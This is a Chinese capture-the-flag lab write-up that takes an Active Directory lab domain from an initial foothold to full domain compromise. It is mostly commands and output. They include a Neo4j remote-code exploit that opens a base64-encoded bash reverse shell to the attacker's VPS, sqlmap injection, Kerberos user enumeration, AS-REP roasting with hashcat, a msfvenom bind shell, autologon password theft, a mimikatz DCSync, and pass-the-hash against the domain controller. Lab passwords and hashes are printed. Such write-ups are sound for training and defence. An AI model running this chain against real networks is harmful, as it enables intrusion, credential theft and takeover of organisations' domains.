重置了很多次靶机,所以靶机ip变化请忽略
flag01
fscan扫一下
7474、7687端口可以看出是neo4j(CVE),直接执行命令(base64编码中的ip和端口改成自己vps的ip和相应的端口)
java -jar rhino_gadget.jar rmi://39.99.151.101:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"
vps上监听端口
nc -lvvp 5001 #之间在base64中开放了5001端口
get shell
找到flag01
find / -name flag*
flag02
ifconfig查看一下,内网网段172.22.6.0/24
将frp和fscan传入tmp目录下(不是tmp的话没有权限)
【A机有文件要通过wget上传到B机,则需要在A机开启http服务】
python3 -m http.server 80
fscan扫一下
start ping
(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.25 is alive
(icmp) Target 172.22.6.36 is alive
(icmp) Target 172.22.6.38 is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.12:139 open
172.22.6.25:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.36:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetBios: 172.22.6.25 XIAORANG\WIN2019
[*] NetBios: 172.22.6.12 [+]DC DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.6.38 code:200 len:1531 title:后台登录
[*] NetInfo:
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] NetInfo:
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: https://172.22.6.36:7687 code:400 len:50 title:None
已完成 11/11
[*] 扫描结束,耗时: 21.059829153s
分析得到下面的结果
172.22.6.12 域控
172.22.6.25 域内机器
172.22.6.36 当前机器
172.22.6.38 某后台登录界面
开代理访问172.22.6.38
用burp抓包(要用proxifier给浏览器和burpsuit代理),结果存入1.txt中
sql注入,用sqlmap爆出flag
proxychains4 sqlmap -r 1.txt --current-db
proxychains4 sqlmap -r 1.txt -D oa_db --tables
proxychains4 sqlmap -r 1.txt -D oa_db -T oa_f1Agggg --columns
proxychains4 sqlmap -r 1.txt -D oa_db -T oa_f1Agggg -C flag02 --dump
也可以先找漏洞
proxychains4 sqlmap -u 172.22.6.38 --data="password=123&username=admin"
发现存在时间盲注
再爆破--current-db、table……
flag03
把users表中的用户名收集成字典username.txt,将下面命令生成的csv粘贴到usersname.txt里
proxychains sqlmap -r 1.txt --dump -D oa_db -T oa_users -C email
域用户枚举:
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举
将kerbrute_linux_386 userenum,username.txt上传到最开始的主机上
chmod +x kerbrute_linux_386
./kerbrute_linux_386 userenum --dc 172.22.6.12 -d xiaorang.lab usersname.txt -t 10
将枚举出来的用户做成字典result.txt
weixian@xiaorang.lab
gaiyong@xiaorang.lab
shuzhen@xiaorang.lab
wengbang@xiaorang.lab
xiqidi@xiaorang.lab
xuanjiang@xiaorang.lab
yuanchang@xiaorang.lab
lvhui@xiaorang.lab
wenbo@xiaorang.lab
zhenjun@xiaorang.lab
jinqing@xiaorang.lab
weixian@xiaorang.lab
weicheng@xiaorang.lab
yangju@xiaorang.lab
haobei@xiaorang.lab
jizhen@xiaorang.lab
jingze@xiaorang.lab
rubao@xiaorang.lab
liangliang@xiaorang.lab
tangshun@xiaorang.lab
zhaoxiu@xiaorang.lab
chouqian@xiaorang.lab
beijin@xiaorang.lab
xiyi@xiaorang.lab
jicheng@xiaorang.lab
qiyue@xiaorang.lab
chenghui@xiaorang.lab
yanglang@xiaorang.lab
chebin@xiaorang.lab
jihuan@xiaorang.lab
pengyuan@xiaorang.lab
duanmuxiao@xiaorang.lab
fusong@xiaorang.lab
yifu@xiaorang.lab
gaijin@xiaorang.lab
hongzhi@xiaorang.lab
luwan@xiaorang.lab
zhufeng@xiaorang.lab
tangrong@xiaorang.lab
dongcheng@xiaorang.lab
huabi@xiaorang.lab
lili@xiaorang.lab
rangsibo@xiaorang.lab
lianhuangchen@xiaorang.lab
wohua@xiaorang.lab
haoguang@xiaorang.lab
wenshao@xiaorang.lab
langying@xiaorang.lab
diaocai@xiaorang.lab
lianggui@xiaorang.lab
manxue@xiaorang.lab
baqin@xiaorang.lab
louyou@xiaorang.lab
chengqiu@xiaorang.lab
wenbiao@xiaorang.lab
maqun@xiaorang.lab
weishengshan@xiaorang.lab
chuyuan@xiaorang.lab
wenliang@xiaorang.lab
yulvxue@xiaorang.lab
luyue@xiaorang.lab
lezhong@xiaorang.lab
ganjian@xiaorang.lab
guohong@xiaorang.lab
sheweiyue@xiaorang.lab
pangzhen@xiaorang.lab
dujian@xiaorang.lab
lidongjin@xiaorang.lab
yexing@xiaorang.lab
hongqun@xiaorang.lab
maoda@xiaorang.lab
zhangxin@xiaorang.lab
qiaomei@xiaorang.lab
ganjian@xiaorang.lab
然后进行AS_REP Roasting攻击:
AS_REP Roasting是一种对用户账户进行离线爆破的方式,需要关闭预身份验证,而此选项又是默认开启的,所以有一定的限制,默认开启的预身份验证是会记录密码错误次数来防止爆破的,关闭预身份验证后,在进行AS_REQ之后的时候,KDC不会进行任何验证就将TGT和用该用户Hash加密的Login Session Key返回,由于AS_REP的数据包中Login Session Key的是由用户Hash进行加密的,因此,可以对获取到的用户Hash加密的Login Session Key进行离线爆破,得到对应用户的明文密码
对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令
因为当前主机不在域内,所以使用impacket的GetNPUsers.py进行攻击
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile result.txt -format hashcat xiaorang.lab/
得到2个用户
使用hashcat解密
ps:【rockyou.txt怎么获得?】
hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txt
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt
用strawberry远程登录172.22.6.25
xiaorang.lab\ZHANGXIN
strawberry
上传SharpHound.exe(使用方法),分析域环境
【ps:要用bloodhound自带的sharphound生成压缩包,不然导入不进bloodhound】
SharpHound.exe -c all --OutputDirectory ./
运行Bloodhound(username:neo4j password:123456),把上面得到的压缩包拖进去分析Find Shortest Paths to Domain Admins
neo4j console
./BloodHound --no-sandbox
现在处于WIN2019,下一步需要打YUXUAN
HasSession
当用户向计算机进行身份验证时,他们通常会将凭据暴露在系统上,这些凭据可以通过 LSASS 注入、令牌操纵或盗窃或注入用户进程来检索。
任何作为系统管理员的用户都能够从内存中检索凭证材料(如果它仍然存在)
这里的用户特权不够,所以不能进行令牌窃取
这里也无法使用mimikatz来获取hash,因为没有管理员权限
这里是使用msf来抓取自动登录密码,可能这个YUNXUAN会设置自动登录,所以可以进行抓取密码【我也不知道原理是啥】
先生成一个正向shell,上传到WIN2019后运行
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o bind_shell.exe
开启msfconsole(要用代理)
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.6.25
run
【ps:如果出现Meterpreter session 2 closed. Reason: Died的问题,解决方案在这里】
抓取自动登录的密码
meterpreter > run windows/gather/credentials/windows_autologin
【ps:很多人抓不到密码是因为前面的payload中是windows/meterpreter/bind_tcp而不是windows/x64/meterpreter/bind_tcp,而域内机器是64位的】
得到密码
yuxuan/Yuxuan7QbrgZ3L
还是172.22.6.25,远程登录一下
上传mimikatz,抓取域内机器admin的hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
smb获得flag03
proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
flag04
获得域控的shell
proxychains impacket-wmiexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 Administrator@172.22.6.12
获得flag04
type C:\Users\Administrator\flag\flag04.txt